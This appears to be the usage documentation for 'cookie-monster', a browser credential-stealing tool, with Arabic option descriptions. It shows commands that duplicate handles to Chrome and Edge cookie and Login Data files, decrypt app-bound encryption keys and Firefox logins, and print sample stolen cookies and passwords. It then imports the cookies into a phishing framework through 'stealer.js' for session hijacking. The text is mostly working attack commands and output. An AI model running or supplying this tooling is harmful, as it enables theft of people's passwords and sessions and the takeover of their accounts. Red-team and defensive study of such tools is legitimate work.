Usage: cookie-monster [--chrome || --edge || --system <Local State File Path> <PID> || --firefox || --chromeCookiePID <PID> || --chromeLoginDataPID <PID> || --edgeCookiePID <PID> || --edgeLoginDataPID <PID> ] [--cookie-only] [--key-only] [--login-data-only] [--copy-file "C:\Folder\Location\"] 
cookie-monster Examples: 
   cookie-monster --chrome 
   cookie-monster --edge
   cookie-monster --system "C:\Users\<USER>\AppData\Local\<BROWSER>\User Data\Local State" <PID>
   cookie-moster --firefox 
   cookie-monster --chromeCookiePID <PID>
   cookie-monster --chromeLoginDataPID <PID> 
   cookie-monster --edgeCookiePID <PID> 
   cookie-monster --edgeLoginDataPID <PID> 
cookie-monster Options: 
    --chrome, يفحص جميع العمليات الجارية والمقابض، وإذا تطابقت إحداها مع chrome.exe، ينسخ المقبض لملف cookies ثم ينسخ الملف إلى مجلد العمل الحالي (CWD)
    --edge, يفحص جميع العمليات الجارية والمقابض، وإذا تطابقت إحداها مع msedge.exe، ينسخ المقبض لملف cookies ثم ينسخ الملف إلى مجلد العمل الحالي (CWD)
    --system, يفك تشفير مفتاح التشفير المرتبط بالتطبيق لمتصفحات Chromium دون الحقن في المتصفح. يتطلب المسار إلى ملف Local State ومعرف العملية (PID) لعملية مستخدم من أجل انتحال الهوية
    --firefox, يبحث عن ملف profiles.ini ويحدد موقع ملفي key4.db وlogins.json
    --chromeCookiePID, إذا تم توفير معرف عملية Chrome، ابحث عن العملية المحددة التي لديها مقبض لملف cookies، حدد معرف العملية لتكرار مقبضها وملفها
    --chromeLoginDataPID, إذا تم توفير معرف عملية Chrome، ابحث عن العملية المحددة التي لديها مقبض لـ Login Data، حدد معرف العملية لتكرار مقبضها وملفها
    --edgeCookiePID, إذا تم توفير معرف عملية Edge، ابحث عن العملية المحددة التي لديها مقبض لملف cookies، حدد معرف العملية لتكرار مقبضها وملفها
    --edgeLoginDataPID, إذا تم توفير معرف عملية Edge، ابحث عن العملية المحددة التي لديها مقبض لـ Login Data، حدد معرف العملية لتكرار مقبضها وملفها
    --key-only, استرجاع مفتاح التشفير المرتبط بالتطبيق فقط. لا تحاول تنزيل ملفات Cookie أو Login Data.
    --cookie-only, استرجاع ملف Cookie فقط. لا تحاول تنزيل ملف Login Data أو استرجاع مفتاح التشفير المرتبط بالتطبيق.
    --login-data-only, استرجاع ملف Login Data فقط. لا تحاول تنزيل ملف Cookie أو استرجاع مفتاح التشفير المرتبط بالتطبيق.
    --copy-file, ينسخ ملفي Cookie وLogin Data إلى المجلد المحدد. لا يستخدم طريقة الاسترجاع بدون ملفات.

make

pip3 install -r requirements.txt

python3 decrypt.py -h                                                                                                                                                                      
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]

Decrypt Chromium cookies and passwords given a key and DB file

options:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     Decryption key
  -o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
                        Option to choose
  -f FILE, --file FILE  Location of the database file
  --chrome-aes-key CHROME_AES_KEY
                        Chrome AES Key
  -mk MASTER_KEY, --master-key MASTER_KEY
                        Old key used in v10 passwords

python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db

Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22

Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22

python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json

python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json

python3 decrypt.py -o passwords -f EdgePasswords.db -k '\xf9\x...' -mk '\xf3\x..'

URL: https://test.com/
Username: adgf
Password: pass

Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty

# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db

# Clone Project
cd 
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish

# Install Dependencies Example on Debian 
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install

# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json